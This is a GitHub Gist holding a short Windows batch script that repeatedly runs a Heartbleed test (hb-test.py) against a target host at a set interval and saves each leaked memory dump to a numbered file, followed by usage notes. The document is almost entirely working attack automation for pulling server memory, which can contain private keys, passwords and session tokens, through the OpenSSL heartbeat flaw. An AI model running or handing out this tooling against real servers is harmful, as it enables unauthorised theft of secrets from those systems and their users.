Last active
August 29, 2015 13:58
-
-
Save pqrth/10377512 to your computer and use it in GitHub Desktop.
Quick and dirty batch script to dump Heartbleed memory leak at regular interval
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@echo off | |
@color 0a | |
if "%1"=="" ( | |
:help | |
echo. | |
echo Usage: bleed_heart target_name [--every time] [--from count] | |
echo. | |
echo Options: | |
echo --every time Delay between consecutive tests in ms | |
echo --from count Starting count from which the dump files are indexed | |
exit /b | |
) | |
set arg1=%1 | |
set time=300000 | |
set /A count=0 | |
mkdir %arg1% | |
:loop | |
if not "%2"=="" ( | |
if "%2"=="--every" ( | |
set time=%3 | |
shift | |
) else if "%2"=="--from" ( | |
set /A count=%3 | |
shift | |
) else ( | |
echo Bad option %2. | |
goto :help | |
) | |
shift | |
goto :loop | |
) | |
:top | |
echo bleeding... %arg1% (%count% time) | |
hb-test.py %arg1% > %arg1%\%arg1%_mem%count%.dump | |
echo sleeping for %time%ms... | |
ping 1.1.1.1 -n 1 -w %time% > nul | |
set /A count+=1 | |
goto top |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Requires any of following python OpenSSL heartbeat test:
as
hb-test.py
in the same directory.Usage:
bleed_heart target_name [--every time] [--from count]
Options:
--every time
Delay between consecutive tests in ms--from count
Starting count from which the dump files are indexed